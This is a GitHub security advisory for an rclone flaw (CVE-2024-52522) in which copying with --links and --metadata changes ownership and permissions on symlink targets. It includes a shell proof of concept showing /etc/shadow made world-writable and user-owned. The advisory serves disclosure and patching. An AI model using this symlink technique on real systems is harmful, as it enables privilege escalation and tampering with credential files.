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Rclone has Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata

Moderate severity GitHub Reviewed Published Nov 15, 2024 in rclone/rclone • Updated Nov 19, 2024

Package

gomod github.com/rclone/rclone (Go)

Affected versions

>= 1.59.0, < 1.68.2

Patched versions

1.68.2

Description

tl;dr:

unprivileged user creates a symlink to /etc/sudoers, /etc/shadow or similar and waits for a privileged user or process to copy/backup/mirror users data (using --links and --metadata). unprivileged user now owns /etc/sudoers.

Summary

Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files (e.g., /etc/shadow), compromising system integrity, confidentiality, and availability.

For instance, an unprivileged user could set a symlink to a sensitive file within their home directory, waiting for an administrator or automated process (e.g., a cron job running with elevated privileges) to copy their files with rclone using the --links and --metadata options. Upon copying, rclone will incorrectly apply chown and chmod to the symlink’s target file rather than just the symlink itself, resulting in ownership and permission changes on the sensitive file.

Who is affected

If you are not using --metadata and --links and copying files to the local backend you are not affected by this issue.

If you are using --metadata and -links and copying files to the local backend but not as a superuser, then this will manifest itself as a bug by setting incorrect permissions.

If you are using --metadata and -links and copying files to the local backend but as a superuser then this could affect you.

Details

When copying directories containing symlinks with rclone using the --links and --metadata options, rclone mistakenly applies chown and chmod operations to the target of the symlink instead of the symlink itself. As a result, ownership and permissions on sensitive system files (e.g., /etc/shadow) may be altered if they are the target of any symlink within the copied directory structure. This allows users to affect the permissions and ownership of files they should not have access to, resulting in privilege escalation and potential system compromise.

PoC

# Create a directory to simulate a user home directory
root@workstation:~# mkdir -p /tmp/home/user1
root@workstation:~# sudo chown user1:user1 /tmp/home/user1

# As user1, create a symlink to /etc/shadow within their home directory
root@workstation:~# sudo -u user1 ln -s /etc/shadow /tmp/home/user1/shadow_link

# List permissions on the original files
root@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow
----------. 1 root  root  1283 Nov  5 13:30 /etc/shadow
lrwxrwxrwx. 1 user1 user1   11 Nov  5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow

# Copy the directory structure with rclone
root@workstation:~# rclone copy /tmp/home /tmp/home_new --links --metadata --log-level=DEBUG
2024/11/05 13:56:53 DEBUG : rclone: Version "v1.68.1" starting with parameters ["rclone" "copy" "/tmp/home" "/tmp/home_new" "--links" "--metadata" "--log-level=DEBUG"]
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home"
2024/11/05 13:56:53 NOTICE: Config file "/root/.config/rclone/rclone.conf" not found - using defaults
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home" to be canonical "local{b6816}:/tmp/home"
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home_new"
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home_new" to be canonical "local{b6816}:/tmp/home_new"
2024/11/05 13:56:53 DEBUG : Added delayed dir = "user1", newDst=<nil>
2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: Need to transfer - File not found at Destination
2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: md5 = 2fe8599cb25a0c790213d39b3be97c27 OK
2024/11/05 13:56:53 INFO  : user1/shadow_link.rclonelink: Copied (new)
2024/11/05 13:56:53 DEBUG : Local file system at /tmp/home_new: Waiting for checks to finish
2024/11/05 13:56:53 DEBUG : Local file system at /tmp/home_new: Waiting for transfers to finish
2024/11/05 13:56:53 INFO  : user1: Updated directory metadata
2024/11/05 13:56:53 INFO  :
Transferred:             11 B / 11 B, 100%, 0 B/s, ETA -
Transferred:            1 / 1, 100%
Elapsed time:         0.0s

2024/11/05 13:56:53 DEBUG : 6 go routines active

# List permissions again
root@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow /tmp/home_new/user1/shadow_link
-rwxrwxrwx. 1 user1 user1 1283 Nov  5 13:30 /etc/shadow                                                 # Wrong, very wrong. Should be root:root and 0000.
lrwxrwxrwx. 1 root  root    11 Nov  5 13:56 /tmp/home_new/user1/shadow_link -> /etc/shadow              # Wrong too, should be user1:user1
lrwxrwxrwx. 1 user1 user1   11 Nov  5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow

# Fix /etc/shadow and clean up
root@workstation:~# chown root:root /etc/shadow
root@workstation:~# chmod 000 /etc/shadow
root@workstation:~# rm -rf /tmp/home /tmp/home_new

Impact

Type of Vulnerability: Improper permissions and ownership handling on symlink targets (Insecure Handling of Symlinks)

Impact: This vulnerability allows unprivileged users to modify permissions and ownership of sensitive system files by creating symlinks to those files in directories that are subsequently copied by an administrator with rclone --links --metadata. This can lead to unauthorized access, privilege escalation, and potential system compromise.

References

@ncw ncw published to rclone/rclone Nov 15, 2024
Published by the National Vulnerability Database Nov 15, 2024
Published to the GitHub Advisory Database Nov 19, 2024
Reviewed Nov 19, 2024
Last updated Nov 19, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability Low

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

EPSS score

0.043%
(10th percentile)

Weaknesses

CVE ID

CVE-2024-52522

GHSA ID

GHSA-hrxh-9w67-g4cv

Source code

Credits

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